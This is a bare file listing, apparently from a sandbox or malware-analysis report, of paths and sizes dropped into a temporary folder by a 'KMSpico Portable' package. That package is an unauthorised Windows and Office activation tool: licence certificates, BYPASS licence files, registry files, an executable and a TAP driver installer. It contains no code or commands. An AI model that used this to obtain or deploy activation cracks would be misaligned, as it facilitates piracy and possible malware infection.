C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-oob.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\pkeyconfig.xrm-ms (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\enterauthorizationcode.mp3 (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\warning.mp3 (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\pkeyconfig-office.xrm-ms (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\pkeyconfig-office.xrm-ms (590 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT_BRIDGE_TEST.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\RemoveWaterMark.cmd (96 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Vestris.ResourceLib.dll (3063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-stil.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\incomingtransmission.mp3 (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg64.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul-oob.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\ReadMe KMSpico Portable.txt (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-bridge-office.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\pkeyconfig.xrm-ms (552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg64.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\pkeyconfig-embedded.xrm-ms (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\verified.mp3 (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\processing.mp3 (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\KMSELDI.exe (15420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputok.mp3 (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul-oob.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\tap-windows-9.21.0.exe (4793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\complete.mp3 (5 bytes)
